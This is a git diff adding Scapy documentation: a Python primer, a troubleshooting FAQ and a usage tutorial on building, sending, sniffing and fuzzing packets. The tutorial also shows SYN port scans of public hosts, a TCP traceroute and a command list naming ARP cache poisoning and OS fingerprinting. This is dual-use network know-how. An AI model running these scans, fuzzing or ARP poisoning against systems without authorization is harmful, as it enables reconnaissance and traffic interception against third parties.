+If you are new to Python and you really don't understand a word because of that, or if you want to learn this language, take an hour to read the very good `Python tutorial <http://docs.python.org/tutorial/>`_  by Guido Van Rossum. After that, you'll know Python :) (really!). For a more in-depth tutorial `Dive Into Python <http://diveintopython.org/>`_ is a very good start too.
+
+For a quick start, here's an overview of Python's data types:
+
+* ``int`` (signed, 32bits) : ``42`` 
+* ``long`` (signed, infinite): ``42L`` 
+* ``str`` : ``"bell\x07\n"`` or ``’bell\x07\n’`` 
+
+* ``tuple`` (immutable): ``(1,4,"42")`` 
+* ``list`` (mutable): ``[4,2,"1"]`` 
+* ``dict`` (mutable): ``{ "one":1 , "two":2 }``
+
+There are no block delimiters in Python. Instead, indentation does matter::
+
+    if cond:
+        instr
+        instr
+    elif cond2:
+        instr
+    else:
+        instr
+    
+
diff --git a/doc/scapy/troubleshooting.rst b/doc/scapy/troubleshooting.rst
new file mode 100644
index 0000000..3249c5c
--- /dev/null
+++ b/doc/scapy/troubleshooting.rst
@@ -0,0 +1,69 @@
+***************
+Troubleshooting
+***************
+
+FAQ
+===
+
+My TCP connections are reset by Scapy or by my kernel.
+------------------------------------------------------
+The kernel is not aware of what Scapy is doing behind his back. If Scapy sends a SYN, the target replies with a SYN-ACK and your kernel sees it, it will reply with a RST. To prevent this, use local firewall rules (e.g. NetFilter for Linux). Scapy does not mind about local firewalls.
+
+I can't ping 127.0.0.1. Scapy does not work with 127.0.0.1 or on the loopback interface 
+---------------------------------------------------------------------------------------
+
+The loopback interface is a very special interface. Packets going through it are not really assembled and disassembled. The kernel routes the packet to its destination while it is still stored an internal structure. What you see with tcpdump -i lo is only a fake to make you think everything is normal. The kernel is not aware of what Scapy is doing behind his back, so what you see on the loopback interface is also a fake. Except this one did not come from a local structure. Thus the kernel will never receive it.
+
+In order to speak to local applications, you need to build your packets one layer upper, using a PF_INET/SOCK_RAW socket instead of a PF_PACKET/SOCK_RAW (or its equivalent on other systems than Linux)::
+
+    >>> conf.L3socket
+    <class __main__.L3PacketSocket at 0xb7bdf5fc>
+    >>> conf.L3socket=L3RawSocket
+    >>> sr1(IP(dst="127.0.0.1")/ICMP())
+    <IP  version=4L ihl=5L tos=0x0 len=28 id=40953 flags= frag=0L ttl=64 proto=ICMP chksum=0xdce5 src=127.0.0.1 dst=127.0.0.1 options='' |<ICMP  type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |>>
+
+BPF filters do not work. I'm on a ppp link
+------------------------------------------
+
+This is a known bug. BPF filters must compiled with different offsets on ppp links. It may work if you use libpcap (which will be used to compile the BPF filter) instead of using native linux support (PF_PACKET sockets).
+
+traceroute() does not work. I'm on a ppp link
+---------------------------------------------
+
+This is a known bug. See BPF filters do not work. I'm on a ppp link
+
+To work around this, use ``nofilter=1``::
+
+    >>> traceroute("target", nofilter=1)
+
+
+Graphs are ugly/fonts are too big/image is truncated.
+-----------------------------------------------------
+
+Quick fix: use png format::
+
+   >>> x.graph(format="png")
+      
+Upgrade to latest version of GraphViz.
+
+Try providing different DPI options (50,70,75,96,101,125, for instance)::
+
+   >>> x.graph(options="-Gdpi=70")
+
+If it works, you can make it permanenent::
+
+   >>> conf.prog.dot = "dot -Gdpi=70"
+
+You can also put this line in your ``~/.scapy_startup.py`` file 
+
+
+Getting help
+============
+
+Common problems are answered in the FAQ.
+
+There's a low traffic mailing list at ``scapy.ml(at)secdev.org``  (`archive <http://news.gmane.org/gmane.comp.security.scapy.general>`_, `RSS, NNTP <http://gmane.org/info.php?group=gmane.comp.security.scapy.general>`_). You are encouraged to send questions, bug reports, suggestions, ideas, cool usages of Scapy, etc. to this list. Subscribe by sending a mail to ``scapy.ml-subscribe(at)secdev.org``.
+
+
+
+To avoid spam, you must subscribe to the mailing list to post.
diff --git a/doc/scapy/usage.rst b/doc/scapy/usage.rst
new file mode 100644
index 0000000..b7f422d
--- /dev/null
+++ b/doc/scapy/usage.rst
@@ -0,0 +1,1556 @@
+*****
+Usage
+*****
+
+Starting Scapy
+==============
+
+Scapy's interactive shell is run in a terminal session. Root privileges are needed to
+send the packets, so we're using ``sudo`` here::
+  
+    $ sudo scapy
+    Welcome to Scapy (2.0.1-dev)
+    >>> 
+
+On Windows, please open a command prompt (``cmd.exe``) and make sure that you have 
+administrator privileges::
+
+    C:\>scapy
+    INFO: No IPv6 support in kernel
+    WARNING: No route found for IPv6 destination :: (no default route?)
+    Welcome to Scapy (2.0.1-dev)
+    >>>
+
+If you do not have all optional packages installed, Scapy will inform you that 
+some features will not be available:: 
+                                 
+    INFO: Can't import python gnuplot wrapper . Won't be able to plot.
+    INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
+
+The basic features of sending and receiving packets should still work, though. 
+
+Screenshot
+----------
+
+If you have installed IPython, scapy will hook to it and you will be able to use auto-completion using the TAB.
+
+.. image:: graphics/scapy-main-console.png
+   :align: center
+
+
+Interactive tutorial
+====================
+
+This section will show you several of Scapy's features.
+Just open a Scapy session as shown above and try the examples yourself.
+
+
+First steps
+-----------
+
+Let's build a packet and play with it::
+
+    >>> a=IP(ttl=10) 
+    >>> a 
+    < IP ttl=10 |> 
+    >>> a.src 
+    ’127.0.0.1’ 
+    >>> a.dst="192.168.1.1" 
+    >>> a 
+    < IP ttl=10 dst=192.168.1.1 |> 
+    >>> a.src 
+    ’192.168.8.14’ 
+    >>> del(a.ttl) 
+    >>> a 
+    < IP dst=192.168.1.1 |> 
+    >>> a.ttl 
+    64 
+
+Stacking layers
+---------------
+
+The ``/`` operator has been used as a composition operator between two layers. When doing so, the lower layer can have one or more of its defaults fields overloaded according to the upper layer. (You still can give the value you want). A string can be used as a raw layer.
+
+::
+
+    >>> IP()
+    <IP |>
+    >>> IP()/TCP()
+    <IP frag=0 proto=TCP |<TCP |>>
+    >>> Ether()/IP()/TCP()
+    <Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>>
+    >>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n"
+    <IP frag=0 proto=TCP |<TCP |<Raw load='GET / HTTP/1.0\r\n\r\n' |>>>
+    >>> Ether()/IP()/IP()/UDP()
+    <Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>>
+    >>> IP(proto=55)/TCP()
+    <IP frag=0 proto=55 |<TCP |>>
+
+
+.. image:: graphics/fieldsmanagement.png
+   :scale: 90
+
+Each packet can be build or dissected (note: in Python ``_`` (underscore) is the latest result)::
+
+    >>> raw(IP())
+    'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01'
+    >>> IP(_)
+    <IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IP
+     chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |>
+    >>>  a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n"
+    >>>  hexdump(a)   
+    00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00  ...7.D...R....E.
+    00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23  .C....@.x<....B#
+    FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02  .....P........P.
+    20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78   ..9..GET /index
+    2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A  .html HTTP/1.0 .
+    0A                                               .
+    >>> b=raw(a)
+    >>> b
+    '\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0
+     \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00
+     \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n'
+    >>> c=Ether(b)
+    >>> c
+    <Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L
+     ihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783c
+     src=192.168.5.21 dst=66.35.250.151 options='' |<TCP sport=20 dport=80 seq=0L
+     ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0
+     options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>
+
+We see that a dissected packet has all its fields filled. That's because I consider that each field has its value imposed by the original string. If this is too verbose, the method hide_defaults() will delete every field that has the same value as the default::
+
+    >>> c.hide_defaults()
+    >>> c
+    <Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67
+     frag=0 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 |<TCP dataofs=5L
+     chksum=0xbb39 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>
+
+Reading PCAP files
+------------------
+
+.. index::
+   single: rdpcap()
+
+You can read packets from a pcap file and write them to a pcap file. 
+
+    >>> a=rdpcap("/spare/captures/isakmp.cap")
+    >>> a
+    <isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>
+
+Graphical dumps (PDF, PS)
+-------------------------
+
+.. index::
+   single: pdfdump(), psdump()
+
+If you have PyX installed, you can make a graphical PostScript/PDF dump of a packet or a list of packets (see the ugly PNG image below. PostScript/PDF are far better quality...)::
+
+    >>> a[423].pdfdump(layer_shift=1)
+    >>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1)
+    
+.. image:: graphics/isakmp_dump.png
+
+
+
+=======================   ====================================================
+Command                   Effect
+=======================   ====================================================
+raw(pkt)                  assemble the packet
+hexdump(pkt)              have an hexadecimal dump 
+ls(pkt)                   have the list of fields values 
+pkt.summary()             for a one-line summary 
+pkt.show()                for a developed view of the packet 
+pkt.show2()               same as show but on the assembled packet (checksum is calculated, for instance) 
+pkt.sprintf()             fills a format string with fields values of the packet 
+pkt.decode_payload_as()   changes the way the payload is decoded 
+pkt.psdump()              draws a PostScript diagram with explained dissection 
+pkt.pdfdump()             draws a PDF with explained dissection 
+pkt.command()             return a Scapy command that can generate the packet 
+=======================   ====================================================
+
+
+
+Generating sets of packets
+--------------------------
+
+For the moment, we have only generated one packet. Let see how to specify sets of packets as easily. Each field of the whole packet (ever layers) can be a set. This implicitly define a set of packets, generated using a kind of cartesian product between all the fields.
+
+::
+
+    >>> a=IP(dst="www.slashdot.org/30")
+    >>> a
+    <IP  dst=Net('www.slashdot.org/30') |>
+    >>> [p for p in a]
+    [<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>,
+     <IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>]
+    >>> b=IP(ttl=[1,2,(5,9)])
+    >>> b
+    <IP ttl=[1, 2, (5, 9)] |>
+    >>> [p for p in b]
+    [<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>, 
+     <IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]
+    >>> c=TCP(dport=[80,443])
+    >>> [p for p in a/c]
+    [<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>,
+     <IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>,
+     <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>,
+     <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>,
+     <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>,
+     <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>,
+     <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>,
+     <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>]
+
+Some operations (like building the string from a packet) can't work on a set of packets. In these cases, if you forgot to unroll your set of packets, only the first element of the list you forgot to generate will be used to assemble the packet.
+
+===============  ====================================================
+Command          Effect
+===============  ====================================================
+summary()        displays a list of summaries of each packet 
+nsummary()       same as previous, with the packet number 
+conversations()  displays a graph of conversations 
+show()           displays the preferred representation (usually nsummary()) 
+filter()         returns a packet list filtered with a lambda function 
+hexdump()        returns a hexdump of all packets 
+hexraw()         returns a hexdump of the Raw layer of all packets 
+padding()        returns a hexdump of packets with padding 
+nzpadding()      returns a hexdump of packets with non-zero padding 
+plot()           plots a lambda function applied to the packet list 
+make table()     displays a table according to a lambda function 
+===============  ====================================================
+
+
+
+Sending packets
+---------------
+
+.. index::
+   single: Sending packets, send
+   
+Now that we know how to manipulate packets. Let's see how to send them. The send() function will send packets at layer 3. That is to say it will handle routing and layer 2 for you. The sendp() function will work at layer 2. It's up to you to choose the right interface and the right link layer protocol. send() and sendp() will also return sent packet list if return_packets=True is passed as parameter.
+
+::
+
+    >>> send(IP(dst="1.2.3.4")/ICMP())
+    .
+    Sent 1 packets.
+    >>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1")
+    ....
+    Sent 4 packets.
+    >>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2)
+    ................^C
+    Sent 16 packets.
+    >>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay
+    ...........
+    Sent 11 packets.
+    
+    Returns packets sent by send()
+    >>> send(IP(dst='127.0.0.1'), return_packets=True)
+    .
+    Sent 1 packets.
+    <PacketList: TCP:0 UDP:0 ICMP:0 Other:1>
+
+
+Fuzzing
+-------
+
+.. index::
+   single: fuzz(), fuzzing
+
+The function fuzz() is able to change any default value that is not to be calculated (like checksums) by an object whose value is random and whose type is adapted to the field. This enables to quickly built fuzzing templates and send them in loop. In the following example, the IP layer is normal, and the UDP and NTP layers are fuzzed. The UDP checksum will be correct, the UDP destination port will be overloaded by NTP to be 123 and the NTP version will be forced to be 4. All the other ports will be randomized. Note: If you use fuzz() in IP layer, src and dst parameter won't be random so in order to do that use RandIP().::
+
+    >>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1)
+    ................^C
+    Sent 16 packets.
+
+
+Send and receive packets (sr)
+-----------------------------
+
+.. index::
+   single: sr()
+
+Now, let's try to do some fun things. The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets. The function sr1() is a variant that only return one packet that answered the packet (or the packet set) sent. The packets must be layer 3 packets (IP, ARP, etc.). The function srp() do the same for layer 2 packets (Ethernet, 802.3, etc.). If there is, no response a None value will be assigned instead when the timeout is reached.
+
+::
+
+    >>> p = sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX")
+    Begin emission:
+    ...Finished to send 1 packets.
+    .*
+    Received 5 packets, got 1 answers, remaining 0 packets
+    >>> p
+    <IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP
+     chksum=0x51dd src=66.35.250.151 dst=192.168.5.21 options='' |<ICMP type=echo-reply
+     code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX'
+     |<Padding load='\x00\x00\x00\x00' |>>>>
+    >>> p.show()
+    ---[ IP ]---
+    version   = 4L
+    ihl       = 5L
+    tos       = 0x0
+    len       = 39
+    id        = 15489
+    flags     = 
+    frag      = 0L
+    ttl       = 42
+    proto     = ICMP
+    chksum    = 0x51dd
+    src       = 66.35.250.151
+    dst       = 192.168.5.21
+    options   = ''
+    ---[ ICMP ]---
+       type      = echo-reply
+       code      = 0
+       chksum    = 0xee45
+       id        = 0x0
+       seq       = 0x0
+    ---[ Raw ]---
+          load      = 'XXXXXXXXXXX'
+    ---[ Padding ]---
+             load      = '\x00\x00\x00\x00'
+
+
+.. index::
+   single: DNS, Etherleak
+
+A DNS query (``rd`` = recursion desired). The host 192.168.5.1 is my DNS server. Note the non-null padding coming from my Linksys having the Etherleak flaw::
+
+    >>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org")))
+    Begin emission:
+    Finished to send 1 packets.
+    ..*
+    Received 3 packets, got 1 answers, remaining 0 packets
+    <IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38
+     src=192.168.5.1 dst=192.168.5.21 options='' |<UDP sport=53 dport=53 len=58 chksum=0xd55d
+     |<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1
+     nscount=0 arcount=0 qd=<DNSQR qname='www.slashdot.org.' qtype=A qclass=IN |> 
+     an=<DNSRR rrname='www.slashdot.org.' type=A rclass=IN ttl=3560L rdata='66.35.250.151' |>
+     ns=0 ar=0 |<Padding load='\xc6\x94\xc7\xeb' |>>>>
+
+The "send'n'receive" functions family is the heart of scapy. They return a couple of two lists. The first element is a list of couples (packet sent, answer), and the second element is the list of unanswered packets. These two elements are lists, but they are wrapped by an object to present them better, and to provide them with some methods that do most frequently needed actions::
+
+    >>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23]))
+    Received 6 packets, got 3 answers, remaining 0 packets
+    (<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
+    >>> ans, unans = _
+    >>> ans.summary()
+    IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding
+    IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding
+    IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding
+    
+If there is a limited rate of answers, you can specify a time interval to wait between two packets with the inter parameter. If some packets are lost or if specifying an interval is not enough, you can resend all the unanswered packets, either by calling the function again, directly with the unanswered list, or by specifying a retry parameter. If retry is 3, scapy will try to resend unanswered packets 3 times. If retry is -3, scapy will resend unanswered packets until no more answer is given for the same set of unanswered packets 3 times in a row. The timeout parameter specify the time to wait after the last packet has been sent::
+
+    >>> sr(IP(dst="172.20.29.5/30")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1)
+    Begin emission:
+    Finished to send 12 packets.
+    Begin emission:
+    Finished to send 9 packets.
+    Begin emission:
+    Finished to send 9 packets.
+    
+    Received 100 packets, got 3 answers, remaining 9 packets
+    (<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:9 ICMP:0 Other:0>)
+
+
+SYN Scans
+---------
+
+.. index::
+   single: SYN Scan
+
+Classic SYN Scan can be initialized by executing the following command from Scapy's prompt::
+
+    >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))
+
+The above will send a single SYN packet to Google's port 80 and will quit after receiving a single response::
+
+    Begin emission:
+    .Finished to send 1 packets.
+    *
+    Received 2 packets, got 1 answers, remaining 0 packets
+    <IP  version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244
+    proto=TCP chksum=0x6a34 src=72.14.207.99 dst=192.168.1.100 options=// |
+    <TCP  sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L
+    flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] |
+    <Padding  load='V\xf7' |>>>
+
+From the above output, we can see Google returned “SA” or SYN-ACK flags indicating an open port.
+
+Use either notations to scan ports 400 through 443 on the system:
+
+    >>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S"))
+
+or
+
+    >>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))
+
+In order to quickly review responses simply request a summary of collected packets::
+
+    >>> ans, unans = _
+    >>> ans.summary()
+    IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding
+    IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding
+    IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding
+    IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding
+
+The above will display stimulus/response pairs for answered probes. We can display only the information we are interested in by using a simple loop:
+
+    >>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") )
+    440      RA
+    441      RA
+    442      RA
+    https    SA
+
+Even better, a table can be built using the ``make_table()`` function to display information about multiple targets::
+
+    >>> ans, unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S"))
+    Begin emission:
+    .......*.**.......Finished to send 9 packets.
+    **.*.*..*..................
+    Received 362 packets, got 8 answers, remaining 1 packets
+    >>> ans.make_table(
+    ...    lambda(s,r): (s.dst, s.dport,
+    ...    r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))
+        66.35.250.150                192.168.1.1 216.109.112.135 
+    22  66.35.250.150 - dest-unreach RA          -               
+    80  SA                           RA          SA              
+    443 SA                           SA          SA              
+
+The above example will even print the ICMP error type if the ICMP packet was received as a response instead of expected TCP.
+
+For larger scans, we could be interested in displaying only certain responses. The example below will only display packets with the “SA” flag set::
+
+    >>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA")
+    0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA
+
+In case we want to do some expert analysis of responses, we can use the following command to indicate which ports are open::
+
+    >>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open"))
+    https is open
+
+Again, for larger scans we can build a table of open ports::
+
+    >>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r): 
+    ...             (s.dst, s.dport, "X"))
+        66.35.250.150 192.168.1.1 216.109.112.135 
+    80  X             -           X               
+    443 X             X           X
+
+If all of the above methods were not enough, Scapy includes a report_ports() function which not only automates the SYN scan, but also produces a LaTeX output with collected results::
+
+    >>> report_ports("192.168.1.1",(440,443))
+    Begin emission:
+    ...*.**Finished to send 4 packets.
+    *
+    Received 8 packets, got 4 answers, remaining 0 packets
+    '\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440
+     & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed & 
+    TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'
+
+
+TCP traceroute
+--------------
+
+.. index::
+   single: Traceroute
+
+A TCP traceroute::
+
+    >>> ans, unans = sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2))
+    *****.******.*.***..*.**Finished to send 22 packets.
+    ***......
+    Received 33 packets, got 21 answers, remaining 1 packets
+    >>> for snd,rcv in ans:
+    ...     print snd.ttl, rcv.src, isinstance(rcv.payload, TCP)
+    ... 
+    5 194.51.159.65 0
+    6 194.51.159.49 0
+    4 194.250.107.181 0
+    7 193.251.126.34 0
+    8 193.251.126.154 0
+    9 193.251.241.89 0
+    10 193.251.241.110 0
+    11 193.251.241.173 0
+    13 208.172.251.165 0
+    12 193.251.241.173 0
+    14 208.172.251.165 0
+    15 206.24.226.99 0
+    16 206.24.238.34 0
+    17 173.109.66.90 0
+    18 173.109.88.218 0
+    19 173.29.39.101 1
+    20 173.29.39.101 1
+    21 173.29.39.101 1
+    22 173.29.39.101 1
+    23 173.29.39.101 1
+    24 173.29.39.101 1
+
+Note that the TCP traceroute and some other high-level functions are already coded::
+
+    >>> lsc()
+    sr               : Send and receive packets at layer 3
+    sr1              : Send packets at layer 3 and return only the first answer
+    srp              : Send and receive packets at layer 2
+    srp1             : Send and receive packets at layer 2 and return only the first answer
+    srloop           : Send a packet at layer 3 in loop and print the answer each time
+    srploop          : Send a packet at layer 2 in loop and print the answer each time
+    sniff            : Sniff packets
+    p0f              : Passive OS fingerprinting: which OS emitted this TCP SYN ?
+    arpcachepoison   : Poison target's cache with (your MAC,victim's IP) couple
+    send             : Send packets at layer 3
+    sendp            : Send packets at layer 2
+    traceroute       : Instant TCP traceroute
+    arping           : Send ARP who-has requests to determine which hosts are up
+    ls               : List  available layers, or infos on a given layer
+    lsc              : List user commands
+    queso            : Queso OS fingerprinting
+    nmap_fp          : nmap fingerprinting
+    report_ports     : portscan a target and output a LaTeX table
+    dyndns_add       : Send a DNS add message to a nameserver for "name" to have a new "rdata"
+    dyndns_del       : Send a DNS delete message to a nameserver for "name"
+    [...]
+
+Configuring super sockets
+-------------------------
+
+.. index::
+   single: super socket
+
+The process of sending packets and receiving is quite complicated. As I wanted to use the PF_PACKET interface to go through netfilter, I also needed to implement an ARP stack and ARP cache, and a LL stack. Well it seems to work, on ethernet and PPP interfaces, but I don't guarantee anything. Anyway, the fact I used a kind of super-socket for that mean that you can switch your IO layer very easily, and use PF_INET/SOCK_RAW, or use PF_PACKET at level 2 (giving the LL header (ethernet,...) and giving yourself mac addresses, ...). I've just added a super socket which use libdnet and libpcap, so that it should be portable::
+
+    >>> conf.L3socket=L3dnetSocket
+    >>> conf.L3listen=L3pcapListenSocket
+
+Sniffing
+--------
+
+.. index::
+   single: sniff()
+
+We can easily capture some packets or even clone tcpdump or tshark. Either one interface or a list of interfaces to sniff on can be provided. If no interface is given, sniffing will happen on every interface::
+
+    >>>  sniff(filter="icmp and host 66.35.250.151", count=2)
+    <Sniffed: UDP:0 TCP:0 ICMP:2 Other:0>
+    >>>  a=_
+    >>>  a.nsummary()
+    0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
+    0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
+    >>>  a[1]
+    <Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4L
+     ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831
+     src=192.168.5.21 dst=66.35.250.151 options='' |<ICMP type=echo-request code=0
+     chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\xf7g\xda\x00\x07um\x08\t\n\x0b
+     \x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d
+     \x1e\x1f !\x22#$%&\'()*+,-./01234567' |>>>>
+    >>> sniff(iface="wifi0", prn=lambda x: x.summary())
+    802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
+    802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
+    802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133
+    802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
+    802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
+    802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
+    802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication
+    802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication
+    802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149
+    802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149
+    802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
+    802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
+    802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding
+    802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding
+    802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw
+    802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw
+    >>> sniff(iface="eth1", prn=lambda x: x.show())
+    ---[ Ethernet ]---
+    dst       = 00:ae:f3:52:aa:d1
+    src       = 00:02:15:37:a2:44
+    type      = 0x800
+    ---[ IP ]---
+       version   = 4L
+       ihl       = 5L
+       tos       = 0x0
+       len       = 84
+       id        = 0
+       flags     = DF
+       frag      = 0L
+       ttl       = 64
+       proto     = ICMP
+       chksum    = 0x3831
+       src       = 192.168.5.21
+       dst       = 66.35.250.151
+       options   = ''
+    ---[ ICMP ]---
+          type      = echo-request
+          code      = 0
+          chksum    = 0x89d9
+          id        = 0xc245
+          seq       = 0x0
+    ---[ Raw ]---
+             load      = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
+    ---[ Ethernet ]---
+    dst       = 00:02:15:37:a2:44
+    src       = 00:ae:f3:52:aa:d1
+    type      = 0x800
+    ---[ IP ]---
+       version   = 4L
+       ihl       = 5L
+       tos       = 0x0
+       len       = 84
+       id        = 2070
+       flags     = 
+       frag      = 0L
+       ttl       = 42
+       proto     = ICMP
+       chksum    = 0x861b
+       src       = 66.35.250.151
+       dst       = 192.168.5.21
+       options   = ''
+    ---[ ICMP ]---
+          type      = echo-reply
+          code      = 0
+          chksum    = 0x91d9
+          id        = 0xc245
+          seq       = 0x0
+    ---[ Raw ]---
